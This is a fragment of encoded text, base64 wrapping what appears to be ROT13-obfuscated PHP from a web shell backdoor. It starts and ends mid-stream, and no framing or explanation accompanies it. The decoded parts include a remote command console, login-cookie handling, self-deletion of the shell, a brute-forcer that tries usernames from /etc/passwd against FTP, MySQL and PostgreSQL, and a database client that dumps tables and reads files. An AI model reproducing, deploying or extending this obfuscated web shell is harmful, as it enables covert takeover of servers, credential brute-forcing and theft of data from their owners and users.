XsKCQkJdnMoQHB1cXZlKCR6bmdwdVsxXSkpIHsKCQkJCSRUWUJPTllGWydwanEnXSA9IEB0cmdwanEoKTsKCQkJCXJwdWIgInBfPSciLiRUWUJPTllGWydwanEnXS4iJzsiOwoJCQl9CgkJfQoJCXJwdWIgInEucHMuYmhnY2hnLmlueWhyKz0nIi4kZ3J6Yy4iJzsiOwoJCXJwdWIgInEucHMuYmhnY2hnLmZwZWJ5eUdiYyA9IHEucHMuYmhnY2hnLmZwZWJ5eVVydnR1ZzsiOwoJCSRncnpjID0gYm9fdHJnX3B5cm5hKCk7CgkJcnB1YiBmZ2V5cmEoJGdyemMpLCAiXGEiLCAkZ3J6YzsKCQlya3ZnOwoJfQogICAgdnMocnpjZ2woJF9DQkZHWydud25rJ10pJiYhcnpjZ2woJF9DQkZHWydjMSddKSkKCQlKRkJmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnLCAwKTsKCWpmYlVybnFyZSgpOwogICAgcnB1YiAiPGZwZXZjZz4KdnMoanZhcWJqLlJpcmFnKSBqdmFxYmoucG5jZ2hlclJpcmFnZihSaXJhZy5YUkxRQkpBKTsKaW5lIHB6cWYgPSBhcmogTmVlbmwoJycpOwppbmUgcGhlID0gMDsKc2hhcGd2YmEgeGMocikgewoJaW5lIGEgPSAoanZhcWJqLlJpcmFnKSA/IHIuanV2cHUgOiByLnhybFBicXI7Cgl2cyhhID09IDM4KSB7CgkJcGhlLS07CgkJdnMocGhlPj0wKQoJCQlxYnBoenJhZy5wcy5wenEuaW55aHIgPSBwenFmW3BoZV07CgkJcnlmcgoJCQlwaGUrKzsKCX0gcnlmciB2cyhhID09IDQwKSB7CgkJcGhlKys7CgkJdnMocGhlIDwgcHpxZi55cmF0Z3UpCgkJCXFicGh6cmFnLnBzLnB6cS5pbnlociA9IHB6cWZbcGhlXTsKCQlyeWZyCgkJCXBoZS0tOwoJfQp9CnNoYXBndmJhIG5xcShwenEpIHsKCXB6cWYuY2JjKCk7CglwenFmLmNoZnUocHpxKTsKCXB6cWYuY2hmdSgnJyk7CglwaGUgPSBwenFmLnlyYXRndS0xOwp9CjwvZnBldmNnPiI7CglycHViICc8dTE+UGJhZmJ5cjwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxzYmV6IGFuenI9cHMgYmFmaG96dmc9InZzKHEucHMucHpxLmlueWhyPT1cJ3B5cm5lXCcpe3EucHMuYmhnY2hnLmlueWhyPVwnXCc7cS5wcy5wenEuaW55aHI9XCdcJztlcmdoZWEgc255ZnI7fW5xcShndXZmLnB6cS5pbnlocik7dnMoZ3V2Zi5ud25rLnB1cnB4cnEpe24oYWh5eSxhaHl5LGd1dmYucHpxLmlueWhyLGd1dmYuZnVial9yZWViZWYucHVycHhycT8xOlwnXCcpO31yeWZye3QoYWh5eSxhaHl5LGd1dmYucHpxLmlueWhyLGd1dmYuZnVial9yZWViZWYucHVycHhycT8xOlwnXCcpO30gZXJnaGVhIHNueWZyOyI+PGZyeXJwZyBhbnpyPW55dm5mPic7CglzYmVybnB1KCRUWUJPTllGWydueXZuZnJmJ10gbmYgJGEgPT4gJGkpIHsKCQl2cygkaSA9PSAnJykgewoJCQlycHViICc8YmNndGViaGMgeW5vcnk9Ii0nLnVnenlmY3Jwdm55cHVuZWYoJGEpLictIj48L2JjZ3RlYmhjPic7CgkJCXBiYWd2YWhyOwoJCX0KCQlycHViICc8YmNndmJhIGlueWhyPSInLnVnenlmY3Jwdm55cHVuZWYoJGkpLiciPicuJGEuJzwvYmNndmJhPic7Cgl9CgkKCXJwdWIgJzwvZnJ5cnBnPjx2YWNoZyBnbGNyPW9oZ2diYSBiYXB5dnB4PSJucXEocS5wcy5ueXZuZi5pbnlocik7dnMocS5wcy5ud25rLnB1cnB4cnEpe24oYWh5eSxhaHl5LHEucHMubnl2bmYuaW55aHIscS5wcy5mdWJqX3JlZWJlZi5wdXJweHJxPzE6XCdcJyk7fXJ5ZnJ7dChhaHl5LGFoeXkscS5wcy5ueXZuZi5pbnlocixxLnBzLmZ1YmpfcmVlYmVmLnB1cnB4cnE/MTpcJ1wnKTt9IiBpbnlocj0iPj4iPiA8YWJvZT48dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPW53bmsgaW55aHI9MSAnLihAJF9QQkJYVlJbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnXT8ncHVycHhycSc6JycpLic+IGZyYXEgaGZ2YXQgTldOSyA8dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPWZ1YmpfcmVlYmVmIGlueWhyPTEgJy4oIXJ6Y2dsKCRfQ0JGR1snYzInXSl8fCRfUEJCWFZSW3pxNSgkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLidmZ3FyZWVfZ2JfYmhnJ10/J3B1cnB4cnEnOicnKS4nPiBlcnF2ZXJwZyBmZ3FyZWUgZ2IgZmdxYmhnICgyPiYxKTwvYWJvZT48b2UvPjxncmtnbmVybiBweW5mZj1vdnRuZXJuIGFuenI9YmhnY2hnIGZnbHlyPSJvYmVxcmUtb2JnZ2J6OjA7em5ldHZhOjA7IiBlcm5xYmF5bD4nOwoJdnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpIHsKCQlycHViIHVnenlmY3Jwdm55cHVuZWYoIiQgIi4kX0NCRkdbJ2MxJ10uIlxhIi5qZmJSaygkX0NCRkdbJ2MxJ10pKTsKCX0KCXJwdWIgJzwvZ3JrZ25lcm4+PGdub3lyIGZnbHlyPSJvYmVxcmU6MWNrIGZieXZxICNxczU7b25weHRlYmhhcS1wYnliZTojNTU1O29iZXFyZS1nYmM6MGNrOyIgcHJ5eWNucXF2YXQ9MCBwcnl5ZmNucHZhdD0wIGp2cWd1PSIxMDAlIj48Z2U+PGdxIGp2cWd1PSIxJSI+JDwvZ3E+PGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1wenEgZmdseXI9Im9iZXFyZTowY2s7anZxZ3U6MTAwJTsiIGJheHJscWJqYT0ieGMocmlyYWcpOyI+PC9ncT48L2dlPjwvZ25veXI+JzsKCXJwdWIgJzwvc2Jlej48L3F2aT48ZnBldmNnPnEucHMucHpxLnNicGhmKCk7PC9mcGV2Y2c+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFZYnRiaGcoKSB7CiAgICBmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSksICcnLCBndnpyKCkgLSAzNjAwKTsKCXF2cignb2xyIScpOwp9CgpzaGFwZ3ZiYSBucGd2YmFGcnlzRXJ6YmlyKCkgewoJJGFuenJzdnlyID0gb25mcmFuenIoX19TVllSX18pOwoJdnMoY2VydF96bmdwdSgiL1wuY3VjLyIsICRhbnpyc3Z5cikpewoJCWNlcnRfem5ncHUoIiMoLiopXC5jdWMjIiwgJGFuenJzdnlyLCAkYW56cnN2eXIyKTsKCQkkYW56cnN2eXIgPSAkYW56cnN2eXIyWzFdLicuY3VjJzsKCX1yeWZydnMoY2VydF96bmdwdSgiL1wuY3VjNS8iLCAkYW56cnN2eXIpKXsKCQljZXJ0X3puZ3B1KCIjKC4qKVwuY3VjNSMiLCAkYW56cnN2eXIsICRhbnpyc3Z5cjIpOwoJCSRhbnpyc3Z5ciA9ICRhbnpyc3Z5cjJbMV0uJy5jdWM1JzsKCX1yeWZydnMoY2VydF96bmdwdSgiL1wuY3VjNy8iLCAkYW56cnN2eXIpKXsKCQljZXJ0X3puZ3B1KCIjKC4qKVwuY3VjNyMiLCAkYW56cnN2eXIsICRhbnpyc3Z5cjIpOwoJCSRhbnpyc3Z5ciA9ICRhbnpyc3Z5cjJbMV0uJy5jdWM3JzsKCX1yeWZydnMoY2VydF96bmdwdSgiL1wuY3VnenkvIiwgJGFuenJzdnlyKSl7CgkJY2VydF96bmdwdSgiIyguKilcLmN1Z3p5IyIsICRhbnpyc3Z5ciwgJGFuenJzdnlyMik7CgkJJGFuenJzdnlyID0gJGFuenJzdnlyMlsxXS4nLmN1Z3p5JzsKCX0KCXZzKCRfQ0JGR1snYzEnXSA9PSAnbHJmJykKCQl2cyhAaGF5dmF4KGNlcnRfZXJjeW5wcignIVwoXHErXClcZi4qIScsICcnLCAkYW56cnN2eXIpKSkKCQkJcXZyKCdGdXJ5eSB1bmYgb3JyYSBlcnpiaXJxJyk7CgkJcnlmcgoJCQlycHViICdoYXl2YXggcmVlYmUhJzsKICAgIHZzKCRfQ0JGR1snYzEnXSAhPSAnbHJmJykKICAgICAgICBqZmJVcm5xcmUoKTsKCXJwdWIgJzx1MT5GaHZwdnFyPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+RXJueXlsIGpuYWcgZ2IgZXJ6YmlyIGd1ciBmdXJ5eT88b2U+PG4gdWVycz0jIGJhcHl2cHg9InQoYWh5eSxhaHl5LFwnbHJmXCcpIj5McmY8L24+PC9xdmk+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFPZWhncnNiZXByKCkgewoJamZiVXJucXJlKCk7Cgl2cyggdmZmcmcoJF9DQkZHWydjZWJnYiddKSApIHsKCQlycHViICc8dTE+RXJmaHlnZjwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxmY25hPkdsY3I6PC9mY25hPiAnLnVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydjZWJnYiddKS4nIDxmY25hPkZyZWlyZTo8L2ZjbmE+ICcudWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ2ZyZWlyZSddKS4nPG9lPic7CgkJdnMoICRfQ0JGR1snY2ViZ2InXSA9PSAnc2djJyApIHsKCQkJc2hhcGd2YmEgamZiT2VoZ3JTYmVwcigkdmMsJGNiZWcsJHlidHZhLCRjbmZmKSB7CgkJCQkkc2MgPSBAc2djX3BiYWFycGcoJHZjLCAkY2JlZz8kY2JlZzoyMSk7CgkJCQl2cyghJHNjKSBlcmdoZWEgc255ZnI7CgkJCQkkZXJmID0gQHNnY195YnR2YSgkc2MsICR5YnR2YSwgJGNuZmYpOwoJCQkJQHNnY19weWJmcigkc2MpOwoJCQkJZXJnaGVhICRlcmY7CgkJCX0KCQl9IHJ5ZnJ2cyggJF9DQkZHWydjZWJnYiddID09ICd6bGZkeScgKSB7CgkJCXNoYXBndmJhIGpmYk9laGdyU2JlcHIoJHZjLCRjYmVnLCR5YnR2YSwkY25mZikgewoJCQkJJGVyZiA9IEB6bGZkeV9wYmFhcnBnKCR2Yy4nOicuKCRjYmVnPyRjYmVnOjMzMDYpLCAkeWJ0dmEsICRjbmZmKTsKCQkJCUB6bGZkeV9weWJmcigkZXJmKTsKCQkJCWVyZ2hlYSAkZXJmOwoJCQl9CgkJfSByeWZydnMoICRfQ0JGR1snY2ViZ2InXSA9PSAnY3RmZHknICkgewoJCQlzaGFwZ3ZiYSBqZmJPZWhnclNiZXByKCR2YywkY2JlZywkeWJ0dmEsJGNuZmYpIHsKCQkJCSRmZ2UgPSAidWJmZz0nIi4kdmMuIicgY2JlZz0nIi4kY2JlZy4iJyBoZnJlPSciLiR5YnR2YS4iJyBjbmZmamJlcT0nIi4kY25mZi4iJyBxb2FuenI9Y2JmZ3RlcmYiOwoJCQkJJGVyZiA9IEBjdF9wYmFhcnBnKCRmZ2UpOwoJCQkJQGN0X3B5YmZyKCRlcmYpOwoJCQkJZXJnaGVhICRlcmY7CgkJCX0KCQl9CgkJJGZocHByZmYgPSAwOwoJCSRuZ2dyemNnZiA9IDA7CgkJJGZyZWlyZSA9IHJrY3licXIoIjoiLCAkX0NCRkdbJ2ZyZWlyZSddKTsKCQl2cygkX0NCRkdbJ2dsY3InXSA9PSAxKSB7CgkJCSRncnpjID0gQHN2eXIoJy9yZ3AvY25mZmpxJyk7CgkJCXZzKCB2Zl9uZWVubCgkZ3J6YykgKQoJCQkJc2Jlcm5wdSgkZ3J6YyBuZiAkeXZhcikgewoJCQkJCSR5dmFyID0gcmtjeWJxcigiOiIsICR5dmFyKTsKCQkJCQkrKyRuZ2dyemNnZjsKCQkJCQl2cyggamZiT2VoZ3JTYmVwcihAJGZyZWlyZVswXSxAJGZyZWlyZVsxXSwgJHl2YXJbMF0sICR5dmFyWzBdKSApIHsKCQkJCQkJJGZocHByZmYrKzsKCQkJCQkJcnB1YiAnPG8+Jy51Z3p5ZmNycHZueXB1bmVmKCR5dmFyWzBdKS4nPC9vPjonLnVnenlmY3Jwdm55cHVuZWYoJHl2YXJbMF0pLic8b2U+JzsKCQkJCQl9CgkJCQkJdnMoQCRfQ0JGR1snZXJpcmVmciddKSB7CgkJCQkJCSRnemMgPSAiIjsKCQkJCQkJc2JlKCR2PWZnZXlyYSgkeXZhclswXSktMTsgJHY+PTA7IC0tJHYpCgkJCQkJCQkkZ3pjIC49ICR5dmFyWzBdWyR2XTsKCQkJCQkJKyskbmdncnpjZ2Y7CgkJCQkJCXZzKCBqZmJPZWhnclNiZXByKEAkZnJlaXJlWzBdLEAkZnJlaXJlWzFdLCAkeXZhclswXSwgJGd6YykgKSB7CgkJCQkJCQkkZmhwcHJmZisrOwoJCQkJCQkJcnB1YiAnPG8+Jy51Z3p5ZmNycHZueXB1bmVmKCR5dmFyWzBdKS4nPC9vPjonLnVnenlmY3Jwdm55cHVuZWYoJGd6Yyk7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJfSByeWZydnMoJF9DQkZHWydnbGNyJ10gPT0gMikgewoJCQkkZ3J6YyA9IEBzdnlyKCRfQ0JGR1sncXZwZyddKTsKCQkJdnMoIHZmX25lZW5sKCRncnpjKSApCgkJCQlzYmVybnB1KCRncnpjIG5mICR5dmFyKSB7CgkJCQkJJHl2YXIgPSBnZXZ6KCR5dmFyKTsKCQkJCQkrKyRuZ2dyemNnZjsKCQkJCQl2cyggamZiT2VoZ3JTYmVwcigkZnJlaXJlWzBdLEAkZnJlaXJlWzFdLCAkX0NCRkdbJ3lidHZhJ10sICR5dmFyKSApIHsKCQkJCQkJJGZocHByZmYrKzsKCQkJCQkJcnB1YiAnPG8+Jy51Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1sneWJ0dmEnXSkuJzwvbz46Jy51Z3p5ZmNycHZueXB1bmVmKCR5dmFyKS4nPG9lPic7CgkJCQkJfQoJCQkJfQoJCX0KCQlycHViICI8ZmNuYT5OZ2dyemNnZjo8L2ZjbmE+ICRuZ2dyemNnZiA8ZmNuYT5GaHBwcmZmOjwvZmNuYT4gJGZocHByZmY8L3F2aT48b2U+IjsKCX0KCXJwdWIgJzx1MT5PZWhncnNiZXByPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+PGdub3lyPjxzYmV6IHpyZ3VicT1jYmZnPjxnZT48Z3E+PGZjbmE+R2xjcjwvZmNuYT48L2dxPicKCQkuJzxncT48ZnJ5cnBnIGFuenI9Y2ViZ2I+PGJjZ3ZiYSBpbnlocj1zZ2M+U0dDPC9iY2d2YmE+PGJjZ3ZiYSBpbnlocj16bGZkeT5abEZkeTwvYmNndmJhPjxiY2d2YmEgaW55aHI9Y3RmZHk+Q2JmZ3RlckZkeTwvYmNndmJhPjwvZnJ5cnBnPjwvZ3E+PC9nZT48Z2U+PGdxPicKCQkuJzx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXAgaW55aHI9IicudWd6eWZjcnB2bnlwdW5lZigkVFlCT05ZRlsncGpxJ10pLiciPicKCQkuJzx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPW4gaW55aHI9IicudWd6eWZjcnB2bnlwdW5lZigkX0NCRkdbJ24nXSkuJyI+JwoJCS4nPHZhY2hnIGdsY3I9dXZxcXJhIGFuenI9cHVuZWZyZyBpbnlocj0iJy51Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1sncHVuZWZyZyddKS4nIj4nCgkJLic8ZmNuYT5GcmVpcmU6Y2JlZzwvZmNuYT48L2dxPicKCQkuJzxncT48dmFjaGcgZ2xjcj1ncmtnIGFuenI9ZnJlaXJlIGlueWhyPSIxMjcuMC4wLjEiPjwvZ3E+PC9nZT4nCgkJLic8Z2U+PGdxPjxmY25hPk9laGdyIGdsY3I8L2ZjbmE+PC9ncT4nCgkJLic8Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPWVucXZiIGFuenI9Z2xjciBpbnlocj0iMSIgcHVycHhycT4gL3JncC9jbmZmanE8L3lub3J5PjwvZ3E+PC9nZT4nCgkJLic8Z2U+PGdxPjwvZ3E+PGdxPjx5bm9yeSBmZ2x5cj0iY25xcXZhdC15cnNnOjE1Y2siPjx2YWNoZyBnbGNyPXB1cnB4b2JrIGFuenI9ZXJpcmVmciBpbnlocj0xIHB1cnB4cnE+IGVyaXJlZnIgKHlidHZhIC0+IGF2dGJ5KTwveW5vcnk+PC9ncT48L2dlPicKCQkuJzxnZT48Z3E+PC9ncT48Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPWVucXZiIGFuenI9Z2xjciBpbnlocj0iMiI+IFF2cGd2YmFuZWw8L3lub3J5PjwvZ3E+PC9nZT4nCgkJLic8Z2U+PGdxPjwvZ3E+PGdxPjxnbm95ciBmZ2x5cj0iY25xcXZhdC15cnNnOjE1Y2siPjxnZT48Z3E+PGZjbmE+WWJ0dmE8L2ZjbmE+PC9ncT4nCgkJLic8Z3E+PHZhY2hnIGdsY3I9Z3JrZyBhbnpyPXlidHZhIGlueWhyPSJlYmJnIj48L2dxPjwvZ2U+JwoJCS4nPGdlPjxncT48ZmNuYT5RdnBndmJhbmVsPC9mY25hPjwvZ3E+JwoJCS4nPGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1xdnBnIGlueWhyPSInLnVnenlmY3Jwdm55cHVuZWYoJFRZQk9OWUZbJ3BqcSddKS4nY25mZmpxLnF2cCI+PC9ncT48L2dlPjwvZ25veXI+JwoJCS4nPC9ncT48L2dlPjxnZT48Z3E+PC9ncT48Z3E+PHZhY2hnIGdsY3I9ZmhvenZnIGlueWhyPSI+PiI+PC9ncT48L2dlPjwvc2Jlej48L2dub3lyPic7CglycHViICc8L3F2aT48b2U+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFGZHkoKSB7CglweW5mZiBRb1B5bmZmIHsKCQlpbmUgJGdsY3I7CgkJaW5lICR5dmF4OwoJCWluZSAkZXJmOwoJCXNoYXBndmJhIFFvUHluZmYoJGdsY3IpCXsKCQkJJGd1dmYtPmdsY3IgPSAkZ2xjcjsKCQl9CgkJc2hhcGd2YmEgcGJhYXJwZygkdWJmZywgJGhmcmUsICRjbmZmLCAkcW9hbnpyKXsKCQkJZmp2Z3B1KCRndXZmLT5nbGNyKQl7CgkJCQlwbmZyICd6bGZkeSc6CgkJCQkJdnMoICRndXZmLT55dmF4ID0gQHpsZmR5X3BiYWFycGcoJHViZmcsJGhmcmUsJGNuZmYsZ2VocikgKSBlcmdoZWEgZ2VocjsKCQkJCQlvZXJueDsKCQkJCXBuZnIgJ2N0ZmR5JzoKCQkJCQkkdWJmZyA9IHJrY3licXIoJzonLCAkdWJmZyk7CgkJCQkJdnMoISR1YmZnWzFdKSAkdWJmZ1sxXT01NDMyOwoJCQkJCXZzKCAkZ3V2Zi0+eXZheCA9IEBjdF9wYmFhcnBnKCJ1YmZnPXskdWJmZ1swXX0gY2JlZz17JHViZmdbMV19IGhmcmU9JGhmcmUgY25mZmpiZXE9JGNuZmYgcW9hbnpyPSRxb2FuenIiKSApIGVyZ2hlYSBnZWhyOwoJCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgZnJ5cnBncW8oJHFvKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCXZzIChAemxmZHlfZnJ5cnBnX3FvKCRxbykpZXJnaGVhIGdlaHI7CgkJCQkJb2Vybng7CgkJCX0KCQkJZXJnaGVhIHNueWZyOwoJCX0KCQlzaGFwZ3ZiYSBkaHJlbCgkZmdlKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikgewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSAkZ3V2Zi0+ZXJmID0gQHpsZmR5X2RocmVsKCRmZ2UpOwoJCQkJCW9lcm54OwoJCQkJcG5mciAnY3RmZHknOgoJCQkJCWVyZ2hlYSAkZ3V2Zi0+ZXJmID0gQGN0X2RocmVsKCRndXZmLT55dmF4LCRmZ2UpOwoJCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgc3JncHUoKSB7CgkJCSRlcmYgPSBzaGFwX2Foel9uZXRmKCk/c2hhcF90cmdfbmV0KDApOiRndXZmLT5lcmY7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSBAemxmZHlfc3JncHVfbmZmYnAoJGVyZik7CgkJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJZXJnaGVhIEBjdF9zcmdwdV9uZmZicCgkZXJmKTsKCQkJCQlvZXJueDsKCQkJfQoJCQllcmdoZWEgc255ZnI7CgkJfQoJCXNoYXBndmJhIHl2ZmdRb2YoKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgogICAgICAgICAgICAgICAgICAgICAgICBlcmdoZWEgJGd1dmYtPmRocmVsKCJGVUJKIHFuZ25vbmZyZiIpOwoJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJZXJnaGVhICRndXZmLT5lcmYgPSAkZ3V2Zi0+ZGhyZWwoIkZSWVJQRyBxbmdhbnpyIFNFQlogY3RfcW5nbm9uZnIgSlVSRVIgcW5ndmZncnpjeW5nciE9J2cnIik7CgkJCQlvZXJueDsKCQkJfQoJCQllcmdoZWEgc255ZnI7CgkJfQoJCXNoYXBndmJhIHl2ZmdHbm95cmYoKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSAkZ3V2Zi0+ZXJmID0gJGd1dmYtPmRocmVsKCdGVUJKIEdOT1lSRicpOwoJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJZXJnaGVhICRndXZmLT5lcmYgPSAkZ3V2Zi0+ZGhyZWwoImZyeXJwZyBnbm95cl9hbnpyIHNlYnogdmFzYmV6bmd2YmFfZnB1cnpuLmdub3lyZiBqdXJlciBnbm95cl9mcHVyem4gIT0gJ3Zhc2Jlem5ndmJhX2ZwdXJ6bicgTkFRIGdub3lyX2ZwdXJ6biAhPSAnY3RfcG5nbnlidCciKTsKCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgcmVlYmUoKSB7CgkJCWZqdmdwdSgkZ3V2Zi0+Z2xjcikJewoJCQkJcG5mciAnemxmZHknOgoJCQkJCWVyZ2hlYSBAemxmZHlfcmVlYmUoKTsKCQkJCW9lcm54OwoJCQkJcG5mciAnY3RmZHknOgoJCQkJCWVyZ2hlYSBAY3RfeW5mZ19yZWViZSgpOwoJCQkJb2Vybng7CgkJCX0KCQkJZXJnaGVhIHNueWZyOwoJCX0KCQlzaGFwZ3ZiYSBmcmdQdW5lZnJnKCRmZ2UpIHsKCQkJZmp2Z3B1KCRndXZmLT5nbGNyKQl7CgkJCQlwbmZyICd6bGZkeSc6CgkJCQkJdnMoc2hhcGd2YmFfcmt2ZmdmKCd6bGZkeV9mcmdfcHVuZWZyZycpKQoJCQkJCQllcmdoZWEgQHpsZmR5X2ZyZ19wdW5lZnJnKCRmZ2UsICRndXZmLT55dmF4KTsKCQkJCQlyeWZyCgkJCQkJCSRndXZmLT5kaHJlbCgnRlJHIFBVTkVGUkcgJy4kZmdlKTsKCQkJCQlvZXJueDsKCQkJCXBuZnIgJ2N0ZmR5JzoKCQkJCQllcmdoZWEgQGN0X2ZyZ19weXZyYWdfcmFwYnF2YXQoJGd1dmYtPnl2YXgsICRmZ2UpOwoJCQkJCW9lcm54OwoJCQl9CgkJCWVyZ2hlYSBzbnlmcjsKCQl9CgkJc2hhcGd2YmEgeWJucVN2eXIoJGZnZSkgewoJCQlmanZncHUoJGd1dmYtPmdsY3IpCXsKCQkJCXBuZnIgJ3psZmR5JzoKCQkJCQllcmdoZWEgJGd1dmYtPnNyZ3B1KCRndXZmLT5kaHJlbCgiRlJZUlBHIFlCTlFfU1ZZUignIi5ucXFmeW5mdXJmKCRmZ2UpLiInKSBuZiBzdnlyIikpOwoJCQkJb2Vybng7CgkJCQlwbmZyICdjdGZkeSc6CgkJCQkJJGd1dmYtPmRocmVsKCJQRVJOR1IgR05PWVIgamZiMihzdnlyIGdya2cpO1BCQ0wgamZiMiBTRUJaICciLm5xcWZ5bmZ1cmYoJGZnZSkuIic7ZnJ5cnBnIHN2eXIgc2VieiBqZmIyOyIpOwoJCQkJCSRlPW5lZW5sKCk7CgkJCQkJanV2eXIoJHY9JGd1dmYtPnNyZ3B1KCkpCgkJCQkJCSRlW10gPSAkdlsnc3Z5ciddOwoJCQkJCSRndXZmLT5kaHJlbCgncWViYyBnbm95ciBqZmIyJyk7CgkJCQkJZXJnaGVhIG5lZW5sKCdzdnlyJz0+dnpjeWJxcigiXGEiLCRlKSk7CgkJCQlvZXJueDsKCQkJfQoJCQllcmdoZWEgc255ZnI7CgkJfQoJCXNoYXBndmJhIHFoemMoJGdub3lyLCAkc2MgPSBzbnlmcikgewoJCQlmanZncHUoJGd1dmYtPmdsY3IpCXsKCQkJCXBuZnIgJ3psZmR5JzoKCQkJCQkkZXJmID0gJGd1dmYtPmRocmVsKCdGVUJKIFBFUk5HUiBHTk9ZUiBgJy4kZ25veXIuJ2AnKTsKCQkJCQkkcGVybmdyID0gemxmZHlfc3JncHVfbmVlbmwoJGVyZik7CgkJCQkJJGZkeSA9ICRwZXJuZ3JbMV0uIjtcYSI7CiAgICAgICAgICAgICAgICAgICAgdnMoJHNjKSBzamV2Z3IoJHNjLCAkZmR5KTsgcnlmciBycHViKCRmZHkpOwoJCQkJCSRndXZmLT5kaHJlbCgnRlJZUlBHICogU0VCWiBgJy4kZ25veXIuJ2AnKTsKICAgICAgICAgICAgICAgICAgICAkdiA9IDA7CiAgICAgICAgICAgICAgICAgICAgJHVybnEgPSBnZWhyOwoJCQkJCWp1dnlyKCR2Z3J6ID0gJGd1dmYtPnNyZ3B1KCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZkeSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICB2cygkdiAlIDEwMDAgPT0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVybnEgPSBnZWhyOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZkeSA9ICI7XGFcYSI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCgkJCQkJCSRwYnloemFmID0gbmVlbmwoKTsKCQkJCQkJc2Jlcm5wdSgkdmdyeiBuZiAkeD0+JGkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZzKCRpID09PSBhaHl5KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Z3J6WyR4XSA9ICJBSFlZIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJ5ZnJ2cyh2Zl92YWcoJGkpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Z3J6WyR4XSA9ICRpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcnlmcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Z3J6WyR4XSA9ICInIi5AemxmZHlfZXJueV9yZnBuY3JfZmdldmF0KCRpKS4iJyI7CgkJCQkJCQkkcGJ5aHphZltdID0gImAiLiR4LiJgIjsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICB2cygkdXJucSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZkeSAuPSAnVkFGUkVHIFZBR0IgYCcuJGdub3lyLidgICgnLnZ6Y3licXIoIiwgIiwgJHBieWh6YWYpLiIpIElOWUhSRiBcYVxnKCIudnpjeWJxcigiLCAiLCAkdmdyeikuJyknOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVybnEgPSBzbnlmcjsKICAgICAgICAgICAgICAgICAgICAgICAgfSByeWZyCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmR5IC49ICJcYVxnLCgiLnZ6Y3licXIoIiwgIiwgJHZncnopLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgdnMoJHNjKSBzamV2Z3IoJHNjLCAkZmR5KTsgcnlmciBycHViKCRmZHkpOwogICAgICAgICAgICAgICAgICAgICAgICAkdisrOwoJCQkJCX0KICAgICAgICAgICAgICAgICAgICB2cyghJHVybnEpCiAgICAgICAgICAgICAgICAgICAgICAgIHZzKCRzYykgc2pldmdyKCRzYywgIjtcYVxhIik7IHJ5ZnIgcnB1YigiO1xhXGEiKTsKCQkJCW9lcm54OwoJCQkJcG5mciAnY3RmZHknOgoJCQkJCSRndXZmLT5kaHJlbCgnRlJZUlBHICogU0VCWiAnLiRnbm95cik7CgkJCQkJanV2eXIoJHZncnogPSAkZ3V2Zi0+c3JncHUoKSkgewoJCQkJCQkkcGJ5aHphZiA9IG5lZW5sKCk7CgkJCQkJCXNiZXJucHUoJHZncnogbmYgJHg9PiRpKSB7CgkJCQkJCQkkdmdyelskeF0gPSAiJyIubnFxZnluZnVyZigkaSkuIiciOwoJCQkJC